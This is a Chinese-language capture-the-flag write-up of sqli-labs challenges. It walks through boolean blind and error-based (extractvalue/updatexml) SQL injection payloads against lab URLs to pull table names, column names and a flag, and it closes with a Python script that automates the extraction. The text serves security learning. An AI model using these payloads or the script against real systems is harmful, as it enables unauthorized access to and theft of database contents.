title: 2022-07-08sql-labs通关笔记
https://1405-2c2eea07-ccdd-4d2d-ba8b-9124b54dde23.do-not-trust.hacking.run/?id=1’ and 1=1 --+ 判断出字符型注入
判断数据表名的长度
https://1405-2c2eea07-ccdd-4d2d-ba8b-9124b54dde23.do-not-trust.hacking.run/?id=1' and 1=if(length((select table_name from information_schema.tables where table_schema=database() limit {},1))>{},1,0) --+
其中第一个大括号为判断的第几个表,第二个大括号为表名的长度
爆破表名
https://1405-2c2eea07-ccdd-4d2d-ba8b-9124b54dde23.do-not-trust.hacking.run/?id=1' and 1=if(ascii(mid((select table_name from information_schema.tables where table_schema=database() limit {},1),{},1))={},1,0) --+
第一个大括号为猜测的第几个数据表从0开始,第二个大括号为数据表名字的第几位,第三个大括号为第猜测的字符
爆破出:emails,p5jeT0XK(id,flag),在p5jeT0XK中存在flag字段
判断字段长度
https://1405-2c2eea07-ccdd-4d2d-ba8b-9124b54dde23.do-not-trust.hacking.run/?id=1' and 1=if(length((select flag from p5jeT0XK limit 3,1))>40,1,0) --+
https://1405-2c2eea07-ccdd-4d2d-ba8b-9124b54dde23.do-not-trust.hacking.run/?id=1' and 1=if(ascii(mid((select column_name from information_schema.columns where table_name=p5jeT0XK limit {},1),{},1))={},1,0) --+
其中第一个大括号为第几个字段,第二个大括号为字段的第几个字母,第三个为猜测的字符
爆破出:emails,p5jeT0XK(id,flag),在p5jeT0XK中存在flag字段
https://1405-2c2eea07-ccdd-4d2d-ba8b-9124b54dde23.do-not-trust.hacking.run/?id=1' and 1=if(ascii(mid((select flag from p5jeT0XK limit 3,1),{},1))={},1,0) --+
最终查询到的flag为PTB{90f03b1e-b289-4072-b3a1-87b0b6b82986}
报错注入的方式有多种,此处演示一种
xpath语法错误
利用xpath语法错误来进行报错注入主要利用extractvalue和updatexml两个函数。
extractvalue函数
函数原型:extractvalue(xml_document,Xpath_string)
正常语法:extractvalue(xml_document,Xpath_string);
第一个参数:xml_document是string格式,为xml文档对象的名称
第二个参数:Xpath_string是xpath格式的字符串
作用:从目标xml中返回包含所查询值的字符串
第二个参数是要求符合xpath语法的字符串,如果不满足要求,则会报错,并且将查询结果放在报错信息里,因此可以利用updatexml(xml_doument,XPath_string,new_value)
第一个参数:XML的内容
第二个参数:是需要update的位置XPATH路径
第三个参数:是更新后的内容
所以第一和第三个参数可以随便写,只需要利用第二个参数,他会校验你输入的内容是否符合XPATH格式
函数利用和语法明白了,下面注入的payload就清楚明白
extractvalue和updatexml函数一次只能输出32个字节,使用substring函数进行分段
substring(1,2),第一个参数是截取的内容,第二个参数是截取的位数
https://1405-2c2eea07-ccdd-4d2d-ba8b-9124b54dde23.do-not-trust.hacking.run/?id=1' and (select extractvalue(1,concat('~',(select database()))))--+
https://1405-2c2eea07-ccdd-4d2d-ba8b-9124b54dde23.do-not-trust.hacking.run/?id=1' and (select extractvalue(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema=database()))))--+
结果为~emails,p5jeT0XK,referers,uagent
https://1405-2c2eea07-ccdd-4d2d-ba8b-9124b54dde23.do-not-trust.hacking.run/?id=1' and (select extractvalue(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_name='p5jeT0XK')))) --+
结果为~id,flag
此时需要注意到一个问题,extractvalue()能查询字符串的最大长度为32,如果我们想要的结果超过32,就要用substring()函数截取或limit分页,一次查看最多32位 #F44336
https://1405-2c2eea07-ccdd-4d2d-ba8b-9124b54dde23.do-not-trust.hacking.run/?id=1' and (select extractvalue (1,concat('~',substring((select flag from p5jeT0XK limit 3,1),20)))) --+
通过改变位数获得完整的flagPTB{90f03b1e-b289-4072-b3a1-87b0b6b82986}
https://1405-0391aac1-b73f-4689-b4ec-72f35c614764.do-not-trust.hacking.run/
?id=1 and 1=2 判断否是数字注入,回显正常,排除
https://1405-0391aac1-b73f-4689-b4ec-72f35c614764.do-not-trust.hacking.run/
?id=1’ 判断是否是字符注入,回显无错误
https://1405-0391aac1-b73f-4689-b4ec-72f35c614764.do-not-trust.hacking.run/
?id=1" and 1=2 判断是否是特殊符号,尝试括号和双引号在单个双引号的时候返回错误,可以判断出为双引号包括id
猜测查询语句如下
select * from database() ‘“.id.”’ limit 0,1;
使用的方法是布尔盲注,也可以采用其他方法进行注入
使用mid截取第指定位的字符
https://1405-0391aac1-b73f-4689-b4ec-72f35c614764.do-not-trust.hacking.run/
?id=1" and 1=if(mid(database(),1,1)='s',1,0) --+
判断第一位是否为s,当为s的时候可以猜测出,数据库名为security,无需进行向下爆破
判断数据表名的长度
https://1405-0391aac1-b73f-4689-b4ec-72f35c614764.do-not-trust.hacking.run/?id=1" and 1=if(length((select table_name from information_schema.tables where table_schema='security' limit {},1))>{},1,0)--+
其中第一个大括号为判断的第几个数据表名,第二个为判读的长度
https://1405-0391aac1-b73f-4689-b4ec-72f35c614764.do-not-trust.hacking.run/?id=1\" and 1=if(ascii(mid((select table_name from information_schema.tables where table_schema='security' limit {},1),{},1))='{}',1,0) --+
第一个大括号为猜测的第几个数据表从0开始,第二个大括号为数据表名字的第几位,第三个大括号为第猜测的字符
爆出来的第一个数据表为emil第二个数据库名为YS8SI4vt猜测flag在该数据表内,进一步查询数据表的字段名
https://1405-0391aac1-b73f-4689-b4ec-72f35c614764.do-not-trust.hacking.run/?id=1\" and 1=if(ascii(mid((select column_name from information_schema.columns where table_name='referers' limit {},1),{},1))={},1,0) --+
其中第一个大括号为第几个字段,第二个大括号为字段的第几个字母,第三个为猜测的字符,爆破字段名有一为flag,进而查询字段内容
https://1405-f2a10766-01f3-406d-b8e3-07550c6bfdfe.do-not-trust.hacking.run/?id=1" and (select updatexml(1,concat('~',substring((select flag from YS8SI4vt limit 3,1),20)),1))--+
用了报错注入,因为布尔盲注太浪费时间了,不得不说,还是报错注入比较简单
为了方便注入编写的python脚本
import requests
from lxml import etree
#布尔盲注
def bind_1():
table_name=[]
for m in range(40,43):
for i in range(48,126):
url = "https://1405-2c2eea07-ccdd-4d2d-ba8b-9124b54dde23.do-not-trust.hacking.run/?id=1' and 1=if(ascii(mid((select flag from p5jeT0XK limit 3,1),{},1))={},1,0) --+".format(m,i)
res=requests.get(url)
# print(res.text)
print("正在测试第{}个第{}条".format(m,i))
if "You are in..........." in res.text:
table_name.append(chr(i))
print("".join(table_name))
break
print("".join(table_name))
#报错注入
def bind_2():
for i in range(5):
url="https://1405-f2a10766-01f3-406d-b8e3-07550c6bfdfe.do-not-trust.hacking.run/?id=1\" and (select updatexml(1,concat('~',(select flag from YS8SI4vt limit {},1)),1))--+".format(i)
res=requests.get(url).text
html=etree.HTML(res)
content=html.xpath("/html/body/div[1]/font[2]/font[1]/text()")
print(content)
if __name__ == '__main__':
bind_2()
参考https://blog.csdn.net/silence1_/article/details/90812612
https://blog.csdn.net/m0_60988110/article/details/123544853